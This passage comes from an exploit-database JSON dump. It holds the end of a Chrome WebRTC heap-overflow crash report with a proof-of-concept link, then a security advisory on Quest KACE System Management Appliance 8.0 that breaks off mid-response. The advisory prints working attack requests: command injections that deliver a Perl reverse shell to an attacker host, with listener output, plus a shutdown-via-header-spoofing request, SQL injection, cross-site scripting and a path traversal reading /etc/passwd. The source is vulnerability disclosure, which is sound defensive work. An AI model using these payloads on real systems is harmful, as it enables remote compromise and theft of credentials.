0x7fa3d586f493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)\r\n \r\nThread T15 (Chrome_libJingl) created by T0 (chrome) here:\r\n #0 0x55e00603bb7d in __interceptor_pthread_create /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cc:210:3\r\n #1 0x55e00d73b99e in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) base/threading/platform_thread_posix.cc:115:13\r\n #2 0x55e00d686be9 in base::Thread::StartWithOptions(base::Thread::Options const&) base/threading/thread.cc:112:15\r\n #3 0x55e00d68684b in base::Thread::Start() base/threading/thread.cc:75:10\r\n #4 0x55e01a09ba37 in content::PeerConnectionDependencyFactory::CreatePeerConnectionFactory() content/renderer/media/webrtc/peer_connection_dependency_factory.cc:177:3\r\n #5 0x55e01a09b4d0 in content::PeerConnectionDependencyFactory::GetPcFactory() content/renderer/media/webrtc/peer_connection_dependency_factory.cc:139:5\r\n #6 0x55e01a09df09 in content::PeerConnectionDependencyFactory::CreatePeerConnection(webrtc::PeerConnectionInterface::RTCConfiguration const&, blink::WebLocalFrame*, webrtc::PeerConnectionObserver*) content/renderer/media/webrtc/peer_connection_dependency_factory.cc:340:8\r\n #7 0x55e01aa63b1b in content::RTCPeerConnectionHandler::Initialize(blink::WebRTCConfiguration const&, blink::WebMediaConstraints const&) content/renderer/media/webrtc/rtc_peer_connection_handler.cc:1333:50\r\n #8 0x55e01baafde2 in blink::RTCPeerConnection::RTCPeerConnection(blink::ExecutionContext*, blink::WebRTCConfiguration const&, blink::WebMediaConstraints, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:585:23\r\n #9 0x55e01baaaedc in blink::RTCPeerConnection::Create(blink::ExecutionContext*, blink::RTCConfiguration const&, blink::Dictionary const&, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:518:44\r\n #10 0x55e01bb1ad0b in constructor gen/third_party/blink/renderer/bindings/modules/v8/v8_rtc_peer_connection.cc:1317:29\r\n #11 0x55e01bb1ad0b in blink::V8RTCPeerConnection::constructorCallback(v8::FunctionCallbackInfo<v8::Value> const&) gen/third_party/blink/renderer/bindings/modules/v8/v8_rtc_peer_connection.cc:1667\r\n #12 0x55e00ab4db49 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo*) v8/src/api-arguments-inl.h:94:3\r\n #13 0x55e00ab4a4c4 in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<true>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) v8/src/builtins/builtins-api.cc:109:36\r\n #14 0x55e00ab48eb3 in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) v8/src/builtins/builtins-api.cc:135:5\r\n #15 0x55e00c2fce0d (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xde74e0d)\r\n #16 0x55e00c263d3f (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddbd3f)\r\n #17 0x7e9c7b70dd69 (<unknown module>)\r\n #18 0x7e9c7b68868f (<unknown module>)\r\n #19 0x55e00c2618a5 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xddd98a5)\r\n #20 0x55e00c263c60 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddbc60)\r\n #21 0x7e9c7b70dd69 (<unknown module>)\r\n #22 0x7e9c7b68868f (<unknown module>)\r\n #23 0x7e9c7b68868f (<unknown module>)\r\n #24 0x7e9c7b68868f (<unknown module>)\r\n #25 0x55e00c2618a5 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xddd98a5)\r\n #26 0x55e00c265722 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddd722)\r\n #27 0x7e9c7b684820 (<unknown module>)\r\n #28 0x55e00b3b4130 in Call v8/src/simulator.h:113:12\r\n #29 0x55e00b3b4130 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::Object>, v8::internal::Execution::MessageHandling, v8::internal::Execution::Target) v8/src/execution.cc:155\r\n #30 0x55e00b3b3993 in CallInternal v8/src/execution.cc:191:10\r\n #31 0x55e00b3b3993 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) v8/src/execution.cc:202\r\n #32 0x55e00aa107b4 in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) v8/src/api.cc:5218:7\r\n #33 0x55e015fe0a61 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:386:17\r\n #34 0x55e016028398 in blink::V8EventListener::CallListenerFunction(blink::ScriptState*, v8::Local<v8::Value>, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_event_listener.cc:115:8\r\n #35 0x55e016029a54 in blink::V8AbstractEventListener::InvokeEventHandler(blink::ScriptState*, blink::Event*, v8::Local<v8::Value>) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:171:20\r\n #36 0x55e01602942b in blink::V8AbstractEventListener::HandleEvent(blink::ScriptState*, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:120:3\r\n #37 0x55e016029103 in blink::V8AbstractEventListener::handleEvent(blink::ExecutionContext*, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:108:3\r\n #38 0x55e017446ebe in blink::EventTarget::FireEventListeners(blink::Event*, blink::EventTargetData*, blink::HeapVector<blink::RegisteredEventListener, 1ul>&) third_party/blink/renderer/core/dom/events/event_target.cc:804:15\r\n #39 0x55e017445121 in blink::EventTarget::FireEventListeners(blink::Event*) third_party/blink/renderer/core/dom/events/event_target.cc:656:29\r\n #40 0x55e017444d5b in blink::EventTarget::DispatchEventInternal(blink::Event*) third_party/blink/renderer/core/dom/events/event_target.cc:560:41\r\n #41 0x55e017a0de87 in Create third_party/blink/renderer/core/events/progress_event.h:44:16\r\n #42 0x55e017a0de87 in blink::FileReader::FireEvent(WTF::AtomicString const&) third_party/blink/renderer/core/fileapi/file_reader.cc:471\r\n #43 0x55e017a0e6d4 in blink::FileReader::DidFinishLoading() third_party/blink/renderer/core/fileapi/file_reader.cc:427:3\r\n #44 0x55e00a9494ef in blink::mojom::blink::BlobReaderClientStubDispatch::Accept(blink::mojom::blink::BlobReaderClient*, mojo::Message*) gen/third_party/blink/public/mojom/blob/blob.mojom-blink.cc:168:13\r\n #45 0x55e00ea14f7e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:419:32\r\n #46 0x55e00ea258b3 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:865:42\r\n #47 0x55e00ea2409e in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:589:38\r\n #48 0x55e00ea0efa7 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:443:51\r\n #49 0x55e00ea1081c in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:472:10\r\n #50 0x55e00ea00642 in Run base/callback.h:125:12\r\n #51 0x55e00ea00642 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:274\r\n #52 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #53 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #54 0x55e00c4afc95 in base::sequence_manager::internal::ThreadControllerImpl::DoWork(base::sequence_manager::internal::ThreadControllerImpl::WorkType) third_party/blink/renderer/platform/scheduler/base/thread_controller_impl.cc:166:21\r\n #55 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #56 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #57 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25\r\n #58 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5\r\n #59 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373\r\n #60 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31\r\n #61 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14\r\n #62 0x55e01bfb0599 in content::RendererMain(content::MainFunctionParams const&) content/renderer/renderer_main.cc:218:23\r\n #63 0x55e00cafbca5 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:567:14\r\n #64 0x55e00caff751 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:969:10\r\n #65 0x55e00cb1e6c3 in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:459:29\r\n #66 0x55e00cafa2d0 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10\r\n #67 0x55e006081fe3 in ChromeMain chrome/app/chrome_main.cc:101:12\r\n #68 0x7fa3ceac32b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)\r\n \r\nSUMMARY: AddressSanitizer: heap-buffer-overflow third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:615:34 in XorPayloads\r\nShadow bytes around the buggy address:\r\n 0x0c3680767f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n=>0x0c3680767fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa\r\n 0x0c3680767ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\r\n 0x0c3680768000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\r\n 0x0c3680768010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\r\n 0x0c3680768020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\r\n 0x0c3680768030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\r\nShadow byte legend (one shadow byte represents 8 application bytes):\r\n Addressable: 00\r\n Partially addressable: 01 02 03 04 05 06 07 \r\n Heap left redzone: fa\r\n Freed heap region: fd\r\n Stack left redzone: f1\r\n Stack mid redzone: f2\r\n Stack right redzone: f3\r\n Stack after return: f5\r\n Stack use after scope: f8\r\n Global redzone: f9\r\n Global init order: f6\r\n Poisoned by user: f7\r\n Container overflow: fc\r\n Array cookie: ac\r\n Intra object redzone: bb\r\n ASan internal: fe\r\n Left alloca redzone: ca\r\n Right alloca redzone: cb\r\n Shadow gap: cc\r\n==109993==ABORTING\r\n \r\nTo reproduce this issue:\r\n \r\n1) Apply new.patch to a fresh WebRTC tree\r\n2) Build video_replay\r\n3) Download the attached files and run ./video_replay --input_file fec\r\n \r\n \r\nProof of Concept:\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45444.zip\n\n# 0day.today [2018-09-22] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/31144"}, {"lastseen": "2018-06-01T15:07:08", "bulletinFamily": "exploit", "description": "Quest KACE System Management Appliance version 8.0 (Build 8.0.318) suffers from code execution, cross site scripting, path traversal, remote SQL injection, and various other vulnerabilities.", "modified": "2018-06-01T00:00:00", "published": "2018-06-01T00:00:00", "id": "1337DAY-ID-30515", "href": "https://0day.today/exploit/description/30515", "title": "Quest KACE System Management Appliance 8.0 - Multiple Vulnerabilities", "type": "zdt", "sourceData": "Quest KACE System Management Appliance Multiple Vulnerabilities\r\n\r\n1. *Advisory Information*\r\n\r\nTitle: Quest KACE System Management Appliance Multiple Vulnerabilities\r\nAdvisory ID: CORE-2018-0004\r\nAdvisory URL:\r\nhttp://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities\r\nDate published: 2018-05-31\r\nDate of last update: 2018-05-22\r\nVendors contacted: Quest Software Inc.\r\nRelease mode: Forced release\r\n\r\n2. *Vulnerability Information*\r\n\r\nClass: Improper Neutralization of Special Elements used in an OS Command\r\n[CWE-78], Improper Neutralization of Special Elements used in an OS Command\r\n[CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege\r\nManagement [CWE-269], Improper Privilege Management [CWE-269], Improper\r\nAuthorization [CWE-285], Improper Neutralization of Special Elements used\r\nin an SQL Command [CWE-89], Improper Neutralization of Special Elements\r\nused in an SQL Command [CWE-89], Improper Neutralization of Input During\r\nWeb Page Generation [CWE-79], External Control of File Name or Path\r\n[CWE-73], External Control of File Name or Path [CWE-73]\r\nImpact: Code execution\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: Yes\r\nCVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134,\r\nCVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140,\r\nCVE-2018-11133,\r\nCVE-2018-11137, CVE-2018-11141\r\n\r\n3. *Vulnerability Description*\r\n\r\n>From Quest KACE's website:\r\n\r\n\"The KACE Systems Management Appliance [1] provides\r\nyour growing organization with comprehensive management of network-connected\r\ndevices, including servers, PCs, Macs, Chromebooks, tablets, printers,\r\nstorage, networking gear and the Internet of Things (IoT). KACE can fulfill\r\nall of your organization's systems management needs, from initial deployment\r\nto ongoing management and retirement.\"\r\n\r\nMultiple vulnerabilities were found in the Quest KACE System Management\r\nVirtual Appliance that would allow a remote attacker to gain command\r\nexecution as root. We present three vectors to achieve this, including\r\none that can be exploited as an unauthenticated user.\r\n\r\nAdditional web application vulnerabilities were found in the web console\r\nthat is bundled with the product. These vulnerabilities are detailed in\r\nsection 7.\r\n\r\nNote: This advisory has limited details on the vulnerabilities because\r\nduring the attempted coordinated disclosure process, Quest advised us not\r\nto distribute our original findings to the public or else they would\r\ntake legal action. Quest's definition of \"responsible disclosure\" can be\r\nfound at\r\nhttps://support.quest.com/essentials/reporting-security-vulnerability.\r\n\r\nCoreLabs has been publishing security advisories since 1997 and believes\r\nin coordinated disclosure and good faith collaboration with software vendors\r\nbefore disclosure to help ensure that a fix or workaround solution is ready\r\nand available when the vulnerability details are publicized. We believe\r\nthat providing technical details about each finding is necessary to provide\r\nusers and organizations with enough information to understand the\r\nimplications\r\nof the vulnerabilities against their environment and, most importantly, to\r\nprioritize the remediation activities aiming at mitigating risk.\r\n\r\nWe regret Quest's posture on disclosure during the whole process (detailed\r\nin the Report Timeline section) and the lack of a possibility of engaging\r\ninto a coordinated publication date, something we achieve (and have\r\nachieved) with many vendors as part of our coordinated disclosure practices.\r\n\r\n4. *Vulnerable Packages*\r\n\r\n. Quest KACE System Management Appliance 8.0 (Build 8.0.318)\r\nOther products and versions might be affected too, but they were not tested.\r\n\r\n5. *Vendor Information, Solutions and Workarounds*\r\n\r\nQuest reports that it has released the security vulnerability patch\r\nSEC2018_20180410 to address the reported vulnerabilities.\r\nPatch can be download at\r\nhttps://support.quest.com/download-install-detail/6086148.\r\n\r\nFor more details, Quest published the following Security Note:\r\nhttps://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410-\r\n\r\n6. *Credits*\r\n\r\nThese vulnerabilities were discovered and researched by Leandro Barragan\r\nand Guido Leo from Core Security Consulting Services. The publication of\r\nthis advisory was coordinated by Leandro Cuozzo from Core Advisories Team.\r\n\r\n7. *Technical Description / Proof of Concept Code*\r\n\r\nQuest KACE SMA ships with a web console that provides administrators and\r\nusers with several features. Multiple vulnerabilities were found in the\r\ncontext of this console, both from an authenticated and unauthenticated\r\nperspective.\r\n\r\nSection 7.1 describes how an unauthenticated attacker could gain command\r\nexecution on the system as the web server user.\r\n\r\nVulnerabilities described in 7.2 and 7.3 could also be abused to gain code\r\nexecution but would require the attacker to have a valid authentication\r\ntoken.\r\n\r\nIn addition, issues found in the Sudo Server module presented in 7.4 and\r\n7.5 would allow the attacker to elevate his privileges from the web server\r\nuser to root, effectively obtaining full control of the device.\r\n\r\nAdditional web application vulnerabilities were found in the console, such\r\nas insufficient authorization for critical functions, which would allow an\r\nanonymous attacker to reconfigure the appliance (7.6), SQL injection\r\nvulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path\r\ntraversal vulnerabilities, which would allow an attacker to read, write and\r\ndelete arbitrary files (7.9, 7.10, 7.11).\r\n\r\n7.1. *Unauthenticated command injection*\r\n\r\n[CVE-2018-11138]\r\nThe '/common/download_agent_installer.php' script is accessible to anonymous\r\nusers in order to download an agent for a specific platform. This behavior\r\ncan be abused to execute arbitrary commands on the system.\r\n\r\nThe script receives the following parameters via the GET method:\r\n\r\n. platform: Indicates the platform in which the agent is going to be\r\ninstalled\r\n. serv: SHA256 hash of a fixed value that depends of each appliance\r\n. orgid: Organization ID\r\n. version: Version number of the agent\r\n\r\nThe last two conditions are simple to meet. The Agent versions are publicly\r\navailable within the Quest KACE site, but even if they were not, we found\r\nthat the Organization ID parameter is vulnerable to a time based SQL\r\ninjection\r\n(refer to issue 7.7).\r\nThis would make it possible to obtain the agent version by querying the\r\ntable 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION'\r\ncolumn. The Organization ID is 1 by default, but could be obtained in the\r\nsame way as the Agent version by querying the table 'ORGANIZATION' and\r\nthe column 'ID'.\r\n\r\nAs stated above, the application uses the Organization ID and Agent\r\nversion parameters to execute commands. This means we need to find a way\r\nto append system commands within the Organization ID, without breaking the\r\nSQL query. If we use the comment symbol (#), we can append anything we want\r\nwithout affecting the result of the query.\r\n\r\nPreparing payload:\r\n\r\n/-----\r\n- platform = windows\r\n- serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c\r\n- orgid = 1#;perl -e 'use\r\nSocket;$i=\"[AttackerIP]\";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash\r\n-i\");};';\r\n- version = 8.0.152 (last agent version available for windows)\r\n-----/\r\n\r\nThe following proof of concept executes a reverse shell:\r\n\r\n/-----\r\nGET\r\n/common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\")%3bopen(STDOUT,\">%26S\")%3bopen(STDERR,\">%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b'%3b&version=8.0.152\r\nHTTP/1.1\r\nHost: Server\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n-----/\r\n\r\n/-----\r\n$ nc -lvp 8080\r\nListening on [0.0.0.0] (family 0, port 8080)\r\nConnection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2,\r\nsport 20050)\r\nsh: can't access tty; job control turned off\r\n$ id\r\nuid=80(www) gid=80(www) groups=80(www)\r\n-----/\r\n\r\n7.2. *Authenticated command injection*\r\n\r\n[CVE-2018-11139]\r\nThe '/common/ajax_email_connection_test.php' script used to test the\r\nconfigured\r\nSMTP server is accessible by any authenticated user and can be abused to\r\nexecute arbitrary commands on the system. This script is vulnerable to\r\ncommand injection via the unsanitized user input 'TEST_SERVER' sent to the\r\nscript via POST method.\r\n\r\nThe following proof of concept executes a reverse shell:\r\n\r\n/-----\r\nPOST /common/ajax_email_connection_test.php HTTP/1.1\r\nHost: [ServerIP]\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: 416\r\nCookie: [Cookie]\r\nConnection: close\r\n\r\nTEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\")%3bopen(STDOUT,\">%26S\")%3bopen(STDERR,\">%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b';&TEST_PORT=587&[email\u00a0protected]&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&[email\u00a0protected]&ACTION=TEST_CONNECTION_SMTP\r\n-----/\r\n\r\n/-----\r\n$ nc -lvp 8080\r\nListening on [0.0.0.0] (family 0, port 8080)\r\nConnection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2,\r\nsport 20050)\r\nsh: can't access tty; job control turned off\r\n$ id\r\nuid=80(www) gid=80(www) groups=80(www)\r\n-----/\r\n\r\n7.3. *PHP Object Injection leading to arbitrary command execution*\r\n\r\n[CVE-2018-11135]\r\nAn authenticated user could abuse a deserialization call on the script\r\n'/adminui/error_details.php' to inject arbitrary PHP objects.\r\n\r\nTo exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array\r\nand meet some specific conditions in order to successfully exploit the\r\nissue.\r\n\r\n7.4. *Privilege escalation via password change in Sudo Server*\r\n\r\n[CVE-2018-11134]\r\nIn order to perform actions that requires higher privileges, the application\r\nrelies on a message queue managed that runs with root privileges and only\r\nallows a set of commands.\r\n\r\nOne of the available commands allows to change any user's password\r\n(including root).\r\n\r\nAssuming we are able to run commands in the server, we could abuse this\r\nfeature by changing the password of the 'kace_support' account, which\r\ncomes disabled by default but has full sudo privileges.\r\n\r\n7.5. *Privilege escalation via command injection in Sudo Server*\r\n\r\n[CVE-2018-11132]\r\nAs mentioned in the issue [7.4], in order to perform actions that require\r\nhigher privileges, the application relies on a message queue that runs\r\ndaemonized with root privileges and only allows a set of commands to be\r\nexecuted.\r\n\r\nA command injection vulnerability exists within this message queue which\r\nallows us to append arbitrary commands that will be run as root.\r\n\r\n7.6. *Insufficient Authorization for critical function*\r\n\r\n[CVE-2018-11142]\r\n'systemui/settings_network.php' and 'systemui/settings_patching.php'\r\nscripts are accessible only from localhost. This restriction can be bypassed\r\nby modifying the 'Host' and 'X_Forwarded_For' HTTP headers.\r\n\r\nThe following proof of concept abuses this vulnerability to shutdown the\r\nserver as an anonymous user:\r\n\r\n/-----\r\nPOST /systemui/settings_network.php HTTP/1.1\r\nHost: localhost\r\nX-Forwarded-For: ::1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://[ServerIp]/systemui/settings_network.php\r\nContent-Type: multipart/form-data;\r\nboundary=---------------------------5642543667001619951434940129\r\nContent-Length: 3418\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n-----------------------------5642543667001619951434940129\r\nContent-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n-----------------------------5642543667001619951434940129\r\nContent-Disposition: form-data; name=\"$shutdown\"\r\nDoIt!\r\nContent-Disposition: form-data; name=\"save\"\r\nSave\r\n-----------------------------5642543667001619951434940129--\r\n-----/\r\n\r\n7.7. *Unauthenticated SQL Injection in download_agent_installer.php*\r\n\r\n[CVE-2018-11136]\r\nThe 'orgID' parameter received by the '/common/download_agent_installer.php'\r\nscript is not sanitized, leading to SQL injection. In particular, a blind\r\ntime based type.\r\n\r\nThe following proof of concept induces a time delay:\r\n\r\n/-----\r\nhttp://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1\r\nAND SLEEP(10)%23;&version=8.0.152\r\n-----/\r\n\r\n7.8. *SQL Injection in run_report.php*\r\n\r\n[CVE-2018-11140]\r\nThe 'reportID' parameter received by the '/common/run_report.php' script\r\nis not sanitized, leading to SQL injection. In particular, an error based\r\ntype.\r\n\r\nThe following proof of concept retrieves the current database name:\r\n\r\n/-----\r\nPOST /common/run_report.php HTTP/1.1\r\nContent-Length: 161\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nHost: [ServerIP]\r\nAccept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nReferer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID=\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: [Cookie]\r\n\r\ndate=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf\r\n-----/\r\n\r\n/-----\r\nHTTP/1.1 200 OK\r\nDate: Thu, 08 Feb 2018 21:50:21 GMT\r\nServer: Apache\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0,\r\npre-check=0\r\nPragma: no-cache\r\nVary: Accept-Encoding\r\nAccess-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key,\r\nx-kace-auth-signature, accept, origin, content-type\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS\r\nX-KACE-Appliance: K1000\r\nX-KACE-Host: [ServerIP]\r\nX-KACE-Version: 8.0.318\r\nX-KBOX-WebServer: [ServerIP]\r\nX-KBOX-Version: 8.0.318\r\nX-KACE-WebServer: [ServerIP]\r\nX-UA-Compatible: IE=9,EDGE\r\nCache-Control: private, no-cache, no-store, proxy-revalidate, no-transform\r\nContent-Length: 3548\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\n\r\n[...SNIPPED...]\r\n<script type=\"text/javascript\"\r\nsrc=\"/common/js/vendor/html5.js?BUILD=318\" /></script>\r\n<![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta\r\nhttp-equiv='refresh'\r\n[...SNIPPED...]\r\n-----/\r\n\r\n7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php*\r\n\r\n[CVE-2018-11133]\r\nThe 'fmt' parameter of the '/common/run_cross_report.php' script is\r\nvulnerable to cross-site scripting.\r\n\r\nThe following proof of concept demonstrates the vulnerability:\r\n\r\n/-----\r\nhttp://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952\r\n-----/\r\n\r\n7.10. *Path traversal in download_attachment.php leading to arbitrary\r\nfile read*\r\n\r\n[CVE-2018-11137]\r\nThe 'checksum' parameter of the '/common/download_attachment.php' script can\r\nbe abused to read arbitrary files with 'www' privileges. The following proof\r\nof concept reads the '/etc/passwd' file. No administrator privileges are\r\nneeded to execute this script.\r\n\r\nIt is worth noting that there are several interesting files that can be\r\nread with 'www' privileges, such as all the files located in\r\n'/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc',\r\nwhich contain plaintext passwords.\r\n\r\n/-----\r\nhttp://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952\r\n-----/\r\n\r\nThe following proof of concept demonstrates the vulnerability:\r\n\r\n/-----\r\nGET\r\n/common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename=\r\nHTTP/1.1\r\nHost: [ServerIP]\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nCookie: [Cookie]\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nHTTP/1.1 200 OK\r\nDate: Thu, 18 Jan 2018 17:18:19 GMT\r\nServer: Apache\r\nCache-Control: must-revalidate, post-check=0, pre-check=0\r\nExpires: -1\r\nPragma: public\r\nContent-Disposition: attachment; filename=\"\"\r\nContent-Transfer-Encoding: Binary\r\nContent-Description: K1000 attachment\r\nContent-Length: 2400\r\nAccess-Control-Allow-Headers: x-kace-auth-timestamp, 